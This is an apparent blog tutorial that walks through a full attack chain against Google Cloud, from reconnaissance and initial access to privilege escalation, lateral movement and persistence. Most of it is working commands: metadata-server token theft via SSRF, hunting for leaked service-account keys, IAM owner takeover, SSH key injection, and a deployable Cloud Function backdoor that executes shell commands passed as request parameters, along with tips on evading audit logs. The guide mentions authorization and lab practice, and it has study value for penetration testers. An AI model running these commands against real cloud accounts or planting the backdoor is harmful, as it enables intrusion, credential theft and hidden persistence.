Google Cloud is no longer just AWS’s little sibling. It’s the backbone of YouTube, Google Workspace, and thousands of Fortune 500 environments. In 2026, GCP powers a significant chunk of enterprise infrastructure — and most red teams still don’t know how to attack it properly.

This guide fixes that. We’ll walk through a complete GCP attack chain: from passive recon through persistence, using real commands against real services. If you’ve done our AWS pentesting guide or Azure pentesting guide , this follows the same structure — but GCP has its own quirks that’ll trip you up if you treat it like AWS.


Google’s penetration testing policy differs from AWS. Google does not require pre-authorization for pentesting GCP resources you own or have explicit written permission to test. However:

  • You cannot test shared infrastructure (Cloud DNS, Cloud CDN, GFE load balancers) without permission
  • DoS testing is prohibited
  • Your scope must be documented — get it in writing from the asset owner
  • If you’re testing a client’s GCP environment, get their account number in the authorization letter

Read the Google Cloud Acceptable Use Policy before engaging. Getting it wrong means getting called by Google’s abuse team.


Phase 1: Reconnaissance

Passive Recon — Find the GCP Footprint

Before touching anything, map the target’s GCP presence from the outside.

Find GCS buckets passively:

GCS bucket URLs follow predictable patterns: https://storage.googleapis.com/BUCKET_NAME. Start with company name variations:

# Google dorking for exposed GCS buckets
site:storage.googleapis.com "target-company"
site:storage.googleapis.com inurl:"target"

# Using GCPBucketBrute for enumeration
python3 GCPBucketBrute.py --keyword targetcompany --out results.txt

ASN and IP range mapping:

Google Cloud IPs are published. Pull them to find what the target is running:

# Download GCP IP ranges
curl -s https://www.gstatic.com/ipranges/cloud.json | jq '.prefixes[] | select(.scope=="us-central1") | .ipv4Prefix'

# Find GCP-hosted domains via reverse DNS
amass enum -d target.com -src | grep -i "google"
shodan search "org:\"Google Cloud\"" hostname:target.com

Find GCP project IDs via DNS:

GCP services often leak project IDs in DNS records, API responses, and error messages:

# Check for Firebase, App Engine, Cloud Run
dig app.target.com
# App Engine: appspot.com domains → project ID is the subdomain
# Cloud Run: run.app domains

# Look for storage buckets in HTML source
curl -s https://target.com | grep -E "storage\.googleapis\.com|\.appspot\.com"

GitHub Scanning for Leaked Credentials

Service account keys are the GCP equivalent of AWS access keys — and they leak constantly:

# Search GitHub for leaked service account keys
# (JSON files with "type": "service_account")
gh search code '"type": "service_account"' --extension json

# Using truffleHog
trufflehog github --org=targetorg --token=$GITHUB_TOKEN

# Using gitleaks
gitleaks detect --source=/path/to/cloned/repo -v

Service account key files look like this — if you find one, you’ve got initial access:

{
  "type": "service_account",
  "project_id": "target-project-123",
  "private_key_id": "...",
  "private_key": "-----BEGIN RSA PRIVATE KEY-----...",
  "client_email": "[email protected]"
}

Phase 2: Initial Access

Leaked Service Account Keys

If you found a service account key file, authenticate immediately:

# Authenticate with the key file
gcloud auth activate-service-account --key-file=found-key.json

# Verify who you are
gcloud auth list
gcloud config list

# Check what project you're in
gcloud projects list

SSRF to GCP Metadata Server

GCP’s metadata server lives at 169.254.169.254 — accessible from any Compute Engine instance. If you’ve found an SSRF vulnerability in a GCP-hosted application, this is your path to credentials:

# Get instance metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Get service account access token (the crown jewel)
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"

# Get project ID
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/project/project-id"

# Get all service accounts attached to the instance
curl -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/"

Using the stolen token:

export TOKEN="ya29.STOLEN_TOKEN_HERE"

# Use with gcloud
gcloud config set auth/access_token_file /dev/null
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

Exposed GCS Buckets

Misconfigured GCS buckets are gold mines. Check public read/write access:

# Check if bucket is publicly accessible
curl -s "https://storage.googleapis.com/target-bucket-name/"

# List bucket contents without authentication
gsutil ls gs://target-bucket-name/

# Check for AllUsers or AllAuthenticatedUsers ACLs
gsutil iam get gs://target-bucket-name

# Download interesting files
gsutil cp gs://target-bucket-name/config/database.yml .
gsutil cp gs://target-bucket-name/*.json .

Cloud Functions with Leaked Env Vars

Cloud Functions sometimes expose sensitive data through their configuration:

# If you have read access, dump function environment variables
gcloud functions describe FUNCTION_NAME --region=us-central1 \
  --format="json" | jq '.environmentVariables'

# Invoke functions that lack authentication
curl https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME

Phase 3: Enumeration

Once you have credentials, enumerate everything before you touch anything. Noise gets you caught.

Core gcloud Enumeration

# What projects can you see?
gcloud projects list

# Set your target project
gcloud config set project TARGET_PROJECT_ID

# Who are you? What can you do?
gcloud auth list
gcloud iam service-accounts list

# List all IAM bindings on the project
gcloud projects get-iam-policy TARGET_PROJECT_ID

# What roles does your current SA have?
gcloud projects get-iam-policy TARGET_PROJECT_ID \
  --format=json | jq '.bindings[] | select(.members[] | contains("YOUREMAIL"))'

Compute Instances

# List all compute instances across all zones
gcloud compute instances list

# Get instance details (check metadata, service accounts attached)
gcloud compute instances describe INSTANCE_NAME --zone=ZONE --format=json

# Check what service account is attached
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
  --format="json(serviceAccounts)"

# Find instances with public IPs
gcloud compute instances list --filter="networkInterfaces[0].accessConfigs[0].natIP:*"

Storage Buckets

# List all buckets in project
gsutil ls

# Check permissions on each bucket
for bucket in $(gsutil ls); do
  echo "=== $bucket ==="
  gsutil iam get $bucket 2>/dev/null | grep -E "allUsers|allAuthenticatedUsers"
done

# Find buckets with sensitive names
gsutil ls | grep -E "backup|config|secret|key|credential|prod|database"

Service Accounts

# List all service accounts
gcloud iam service-accounts list

# Check keys for each service account (old keys are goldmines)
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $sa ==="
  gcloud iam service-accounts keys list --iam-account=$sa
done

# Get roles bound to a specific service account
gcloud projects get-iam-policy PROJECT_ID \
  --format=json | jq --arg sa "serviceAccount:SA_EMAIL" \
  '.bindings[] | select(.members[] == $sa)'

Cloud Functions, Cloud Run, App Engine

# List Cloud Functions
gcloud functions list
gcloud functions describe FUNCTION_NAME --region=REGION

# List Cloud Run services
gcloud run services list --platform=managed

# Check if Cloud Run service allows unauthenticated access
gcloud run services describe SERVICE_NAME --region=REGION \
  --format="json(status.url,spec.template.spec.containers[0].env)"

# App Engine
gcloud app services list
gcloud app versions list

Firestore / Datastore / BigQuery

# Check Firestore access
gcloud firestore databases list

# BigQuery datasets
bq ls
bq ls PROJECT_ID:

# List BigQuery tables in a dataset
bq ls PROJECT_ID:DATASET_NAME

ScoutSuite for Automated GCP Enumeration

For comprehensive enumeration, use ScoutSuite — it generates an HTML report covering the entire GCP attack surface:

pip install scoutsuite

# Authenticate first
gcloud auth application-default login

# Run ScoutSuite against GCP
scout gcp --report-dir ./scoutsuite-report \
  --project-id TARGET_PROJECT_ID

# Open the report
firefox ./scoutsuite-report/scoutsuite-results/scoutsuite_results_gcp-*.html

Check for cloud pentesting tools that complement your GCP workflow.


Phase 4: Privilege Escalation

GCP IAM privilege escalation is nuanced. The key insight: if you can modify IAM policies or create/impersonate service accounts, you can escalate.

Direct IAM Escalation

# If you have resourcemanager.projects.setIamPolicy, add yourself as Owner
gcloud projects add-iam-policy-binding TARGET_PROJECT \
  --member="serviceAccount:[email protected]" \
  --role="roles/owner"

# Or add a user you control
gcloud projects add-iam-policy-binding TARGET_PROJECT \
  --member="user:[email protected]" \
  --role="roles/owner"

Service Account Key Creation

If you have iam.serviceAccountKeys.create on a privileged service account:

# Create a new key for a high-privilege service account
gcloud iam service-accounts keys create /tmp/privesc-key.json \
  --iam-account=admin-sa@TARGET_PROJECT.iam.gserviceaccount.com

# Authenticate with the new key
gcloud auth activate-service-account --key-file=/tmp/privesc-key.json

Service Account Impersonation (actAs Abuse)

iam.serviceAccounts.actAs is dangerous. If your SA has this permission on a higher-privileged SA:

# Generate a token for the target SA by impersonating it
gcloud auth print-access-token \
  --impersonate-service-account=[email protected]

# Use --impersonate-service-account flag in any gcloud command
gcloud storage ls --impersonate-service-account=[email protected]

Workload Identity Federation Abuse

In hybrid environments, Workload Identity Federation lets external identities assume GCP service accounts. Misconfigured attribute conditions can let you impersonate SA with tokens from GitHub Actions, AWS, or Azure:

# Check what external providers are configured
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list \
  --workload-identity-pool=POOL_ID --location=global

# If using GitHub Actions provider with weak conditions
# (e.g., only checking repository but not ref/branch)
# you can create a workflow in any branch that matches

Custom Role Escalation

# Check for custom roles with dangerous permissions
gcloud iam roles list --project=TARGET_PROJECT --format=json | \
  jq '.[] | select(.includedPermissions[] | 
  contains("setIamPolicy","actAs","keys.create"))'

Phase 5: Lateral Movement

GCP lateral movement revolves around service account impersonation and token exchange between services.

Service Account Token Exchange

# Get access token for current SA
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r '.access_token')

# Use token to access other GCP APIs directly
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://sqladmin.googleapis.com/v1/projects/PROJECT/instances"

curl -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://secretmanager.googleapis.com/v1/projects/PROJECT/secrets"

# List secrets (Secret Manager often has DB passwords, API keys)
gcloud secrets list
gcloud secrets versions access latest --secret=SECRET_NAME

Moving Between Projects

GCP resources often span multiple projects. Service accounts from one project may have bindings in another:

# Check all projects your current SA has access to
gcloud projects list --format="value(projectId)" | while read proj; do
  result=$(gcloud projects get-iam-policy $proj 2>/dev/null | \
    grep "YOUR_SA_EMAIL")
  if [ -n "$result" ]; then
    echo "Access to project: $proj"
    echo "$result"
  fi
done

Accessing Cloud SQL via Compromised SA

# If SA has cloudsql.instances.connect
gcloud sql instances list
gcloud sql connect INSTANCE_NAME --user=root

# Cloud SQL Proxy approach
cloud_sql_proxy -instances=PROJECT:REGION:INSTANCE=tcp:5432 &
psql -h 127.0.0.1 -U postgres

Pivoting via Compute Instances

# If you have compute.instances.setMetadata, inject SSH keys
gcloud compute instances add-metadata INSTANCE_NAME \
  --zone=ZONE \
  --metadata="ssh-keys=attacker:$(cat /tmp/attacker_rsa.pub)"

# SSH in
ssh attacker@EXTERNAL_IP

# Or use OS Login if enabled (check project metadata)
gcloud compute ssh INSTANCE_NAME --zone=ZONE --tunnel-through-iap

Phase 6: Persistence

Persistence in GCP means IAM bindings and service account keys that survive the engagement — or survive detection.

Create Long-Lived Service Account Keys

# Create a new key for a high-privilege SA
gcloud iam service-accounts keys create /tmp/persist-key.json \
  --iam-account=[email protected]

# Keys don't expire by default — this is persistence
# Store offsite, activate when needed
gcloud auth activate-service-account --key-file=/tmp/persist-key.json

Add IAM Bindings to User-Controlled Account

# Add a Gmail account you control as Editor (flies under the radar)
gcloud projects add-iam-policy-binding PROJECT_ID \
  --member="user:[email protected]" \
  --role="roles/editor"

# Or add as a Service Account User on a high-privilege SA
gcloud iam service-accounts add-iam-policy-binding \
  [email protected] \
  --member="user:[email protected]" \
  --role="roles/iam.serviceAccountTokenCreator"

Cloud Function Backdoor

Deploy a Cloud Function that accepts requests from outside, exfiltrates data, or executes commands:

# Create a backdoor function
cat > /tmp/backdoor/main.py << 'EOF'
import subprocess
import functions_framework

@functions_framework.http
def backdoor(request):
    cmd = request.args.get('cmd', 'id')
    result = subprocess.check_output(cmd, shell=True).decode()
    return result, 200
EOF

# Deploy (requires cloudfunctions.functions.create)
gcloud functions deploy backdoor \
  --runtime=python311 \
  --trigger-http \
  --allow-unauthenticated \
  --region=us-central1 \
  --source=/tmp/backdoor

Audit Log Evasion

# Check what's being logged
gcloud logging sinks list

# Data access logs are often disabled — read/write to GCS may not be logged
# Check org policy
gcloud logging read "protoPayload.serviceName=storage.googleapis.com" \
  --limit=5 --format=json

Tools

ToolUseInstall
gcloud CLIPrimary GCP interactiongcloud SDK
GCPBucketBruteGCS bucket enumerationpip install gcpbucketbrute
ScoutSuiteAutomated security assessmentpip install scoutsuite
Pacu (GCP modules)IAM enumeration, privescpip install pacu
gcp_enumFast IAM/resource enumerationGitHub: dafthack/gcp_enum
truffleHogSecret scanning in repospip install trufflehog
CartographyGCP graph visualizationpip install cartography

GCPBucketBrute

The go-to for bucket enumeration. Tests for public read, public write, and authenticated access:

git clone https://github.com/RhinoSecurityLabs/GCPBucketBrute
cd GCPBucketBrute
pip install -r requirements.txt

# Run against a keyword
python3 gcpbucketbrute.py --keyword targetcompany --out buckets.txt

# With authentication (tests authenticated vs public access)
python3 gcpbucketbrute.py --keyword targetcompany \
  --sa-key-file /path/to/key.json --out buckets.txt

Pacu GCP Modules

Pacu added GCP support. Use it for automated IAM enumeration and privilege escalation paths:

pip install pacu
pacu

# In Pacu
set_regions us-central1
run gcp__enum_iam
run gcp__privesc_scan

Lab Setup

You need two environments: an attack machine and a target GCP project.

Attack Machine: Spin up a VPS on Vultr or DigitalOcean — a $6/month instance is plenty. Install the gcloud SDK, ScoutSuite, and the other tools listed above. Don’t run GCP attacks from your home IP if you care about attribution.

Target GCP Environment: Google offers a free tier with $300 credit. Create a fresh project, intentionally misconfigure some IAM bindings and GCS buckets, and run through this guide against your own infrastructure. It’s the fastest way to internalize the attack surface.

Books: For deeper GCP security theory, O’Reilly has solid coverage — search Amazon with tag redteamguide-20 for current recommendations.


Quick Reference: Key Permissions to Look For

When you land on a service account, immediately check for these dangerous permissions:

PermissionImpact
resourcemanager.projects.setIamPolicyFull project takeover
iam.serviceAccounts.actAsImpersonate any SA in scope
iam.serviceAccountKeys.createCreate persistent keys
compute.instances.setMetadataSSH key injection
cloudfunctions.functions.createDeploy backdoor functions
secretmanager.secrets.accessRead all secrets
storage.buckets.setIamPolicyMake buckets public
iam.roles.updateAdd permissions to existing roles

Common Mistakes Red Teams Make on GCP

  1. Forgetting the Metadata-Flavor: Google header — the metadata server rejects requests without it
  2. Ignoring cross-project bindings — your SA may have access to 10 other projects
  3. Not checking Org-level IAM — bindings at the org/folder level override project-level
  4. Missing Secret Manager — GCP teams store everything there; enumerate it early
  5. Overlooking Cloud Build — it runs with elevated SA permissions; check for build history artifacts

What’s Next

Run through the AWS pentesting guide and Azure pentesting guide if you haven’t — the three-cloud comparison accelerates your understanding of where GCP is uniquely dangerous versus where it mirrors the others.

GCP’s IAM model is the most granular of the three major clouds. That’s a feature for defenders and a puzzle for attackers. Learn the permission names. They’re your map.


Need professionally written cybersecurity content for your blog, company, or clients? CipherWrite delivers expert-level articles, whitepapers, and LinkedIn posts — written by red teamers, for red teamers.